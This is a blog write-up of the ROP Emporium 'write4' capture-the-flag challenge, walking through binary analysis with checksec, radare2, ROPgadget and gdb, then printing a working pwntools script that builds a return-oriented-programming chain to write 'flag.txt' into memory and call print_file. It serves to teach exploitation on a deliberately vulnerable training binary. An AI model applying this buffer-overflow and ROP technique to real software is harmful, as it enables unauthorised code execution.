ROP Emporium Writeup – write4
# Information:
CTF Name: ROP Emporium
CTF Challenge: write4
Challenge Category: Binary Exploitation
Challenge Points: N/A
Level 4 ROP Emporium
# Used Tools:
# Challenge Description:
Cord cut
On completing our usual checks for interesting strings and symbols in this binary we’re confronted with the stark truth that our favourite string “/bin/cat flag.txt” is not present this time. Although you’ll see later that there are other ways around this problem, such as resolving dynamically loaded libraries and using the strings present in those, we’ll stick to the challenge goal which is learning how to get data into the target process’s virtual address space via the magic of ROP.
…
A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like “flag.txt”) as the 1st argument.
…
Decisions, decisions
Once you’ve figured out how to write your string into memory and where to write it, go ahead and call print_file() with its location as your only argument. You could consider wrapping your write gadgets in helper a function; if you can write a 4 or 8 byte value to a location in memory, you could craft a function (e.g. in Python using pwntools) that takes a string and a memory location and returns a ROP chain that will write that string to your chosen location. Crafting templates like this will make your life much easier in the long run. As ever, with the MIPS challenge don’t forget about the branch delay slot.
For the full challenge description go here.
They also provide a zip file. For:
Download the zip file for your particular situation. For this writeup I will download the 64 bit CPU zip file.
# Writeup
In this challenge, we are provided with a zip file. Inside of it, we have a text file with the flag and a binary file. From the challenge type, I know that I have to perform some kind of ROP attack.
Below I will layout the steps that I took to solve this challenge.
Step 1
I decided to start by gathering more information about the binary file, to so so I did the following command:
mregra on Cyber $ file write4
write4: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=4cbaee0791e9daa7dcc909399291b57ffaf4ecbe, not stripped
mregra on Cyber $
The binary is a ELF executable for 64-bit architecture. As expected.
Step 2
Now I will verify the security of this binary file, by doing:
mregra on Cyber $ checksec write4
[*] '/home/mregra/CTF_Code/ROP_Emporium/write4/write4'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RUNPATH: b'.'
mregra on Cyber $
In the command output above we can see that the NX bit is enabled. This means that the Linux non-executable stack is active. This prevents us from executing any machine code in the stack. We can also see that the canary flag is of allowing for buffer-overflow attacks, which is necessary.
Let’s move on to the next step.
Step 3
Afterward, I decided to run the program and see its behavior, this was the result:
We have an input field. After entering “my input” it ended the program, quite simple. Considering that we have an input field and that we do not have canaries protection it is probably possible to overflow a buffer, let’s check on radare2 if that is the case.
Step 4
As said before lets see the binary in radare2, maybe find where is the flag or something like that. To do so I did the following:
With this we have some important information. In particular We now know the address of the functions of this program, for example:
In red we have the main, in blue the usefulFunction and in yellow the imp.pwnme. According to the description:
“A PLT entry for a function named print_file() exists within the challenge binary, simply call it with the name of a file you wish to read (like “flag.txt”) as the 1st argument.“
Challenge description
We need to find the address of print_file(). Lets see the usefulFunction.
The usefulFunction
As you can see, in the address 0x00400620 we have a call to the print_file function. However, it is a PLT entry so to make sure we have the correct address lets go a little bit deeper. As you can see, the correct address is in fact: 0x00400510:
Ok, so now, to be able to create our exploit we still need a few things. In particular we need a way to write the string “flag.txt” and pass it as argument to the print_file function. We cannot use anything present in the binary. This is the reason why we have to insert the string manually, but where and how?
Step 5
To be able to write the string “flag.txt” and pass it as argument we need ROP gadgets. In particular, we need a mov operation, in which we move something, in this case it would be our string, into a register, one example would be mov rdi, rsi. In this example we are moving the contents of the rsi register into the rdi register.
To get these gadgets I used the ROPgadget tool as presented below:
As you can see we have a move that might be exactly what we need: mov qword ptr [r14], r15 ; ret in the address 0x0000000000400628.
We now have a ROP gadget that allows us to store the string in a register. Now we need a place (an address) to store the string. To do so I used the following command:
Another part of the output of the command:
This should be enough. This tool, the readelf tool displays information regarding the binary file. Among several things, it can help us find a place to store the string. In the Section headers, we have a list of the sections presented in the binary file. To choose one that we can use, we need one that would allow us to write and we need to make sure that doing so will not corrupt anything relevant. In the second image, we have a .data entry in section 23, with the flag W on, so we can write on it, we just need to know if writing on it will corrupt anything. Let’s see if it is empty:
It is! Nice, so now we have a place to write our string in to. The address is: 0x00601028.
Now we need a way to pass that string as argument to the print_file function. To do so we need to see if we can find one ROP gadget similar to this: pop rdi ; ret. This will allow us to then pass rdi as an argument to the function.
By looking at the image above, the one with the output of the ROPgadget command, we have a pop rdi ; ret ROP gadget in the address 0x0000000000400693.
Let’s summarize what we have so far:
- We have the print_file correct address: 0x00400510
- We have a way to write a string into a register by using a mov ROP gadget and a .data entry:
- The mov operation address is: 0x0000000000400628
- The address in which we will store the string: 0x00601028
- We also have a ROP gadget to help us pass an argument into the print_file function on the address: 0x0000000000400693
We just need to know the buffer overflow offset.
Step 6
Let’s now try to break the stack and see if we can find the exact amount of junk we need to inject to break it.
From previous challenges it has always been 40 the offset, so I decided to test the same way as I did before, by creating a pattern with 50 characters and see if it seg faulted.
First I went to gdb by typing:
mregra on Cyber $ gdb write4
Then I e was prompted with the gdb-peda$ console.
Then I created a pattern with 50 bytes, as such:
gdb-peda$ pattern_create 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
After having the pattern I run the program, by typing r, as you can see at the beginning of the next image. Then I inserted the previously generated pattern as input to the program. As expected it overflowed causing a segmentation fault (as you can see in the image). Knowing this, we now have to find the offset for this particular overflow. To do so I checked the contents of the register RSP.
By looking at the image it is possible to find the register:
RSP: 0x7fffffffdd48("AA0AAFAAbA\n")
Now that we have the content of the RSP register, all it is left us to do to be able to find the offset is:
So it seems that the offset is 40 bytes.
Now we have everything we need to create the exploit.
Step 7
I decided once again to use Python 3. Below you can find the script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
elf = ELF('write4') #context.binary
def convertASCII_to_Hex(value):
res = ""
for i in value:
res += hex(ord(i))[2:]
return res
def changeEndian(value):
length = len(value)
res = "0x"
for i in range(length-1, 0, -2):
res += value[i-1]+ value[i]
return res
def generateString(value):
return int(changeEndian(convertASCII_to_Hex(value)), 16)
p = process(elf.path)
#Prepare the payload
junk = b"A"*40 #creates the junk part of the payload
pop_r14_r15 = p64(0x0000000000400690) #pop r14 ; pop r15 ; ret
r14 = p64(0x00601028) #r14
r15 = p64(generateString("flag.txt")) #r15
mov_r14_r15 = p64(0x0000000000400628) #mov qword ptr [r14], r15 ; ret
pop_rdi = p64(0x0000000000400693) #pop rdi ; ret
print_file = p64(0x00400510) #print_file function address
#payload
payload = junk + pop_r14_r15 + r14 + r15 + mov_r14_r15 + pop_rdi + r14 + print_file
# Send the payload
p.sendline(payload) #send the payload to the process
p.interactive()
In this script, I start by using the ELF functions to encapsulate the information about the ELF file given as an argument, the write4 in our case. Then, I created a process p that is responsible to launch the ELF file in the path, which is given as an argument. After this initialization process, it is time to create the payload.
The idea is simple. We simply have to first add the junk (a 40 bytes long random array of characters, in our case “A”). After this, because we have to pass a string as argument to the print_file function I found a pop r14, r15 ; ret gadget to help us with that and also an address to store the string, in this case it is 0x00601028. Afterward, I created 3 functions to help me convert ASCII text to hexadecimal integer. Then it was simply a matter of moving the contents of the address r15 into r14.
After all this was finished I found a way to pass an argument to the print_file function by using a pop rdi ; ret gadget.
Finally all I had left to do was to write the final payload:
payload = junk + pop_r14_r15 + r14 + r15 + mov_r14_r15 + pop_rdi + r14 + print_file
Then, I simply run the script, here is the result:
The Python 3 script source code can be found here.
Thank you very much for reading!
Cheers,
MRegra
Neat blog! Is your theme custom made or did you download it from somewhere?
A theme like yours with a few simple adjustements would
really make my blog jump out. Please let me know where you got your theme.
Kudos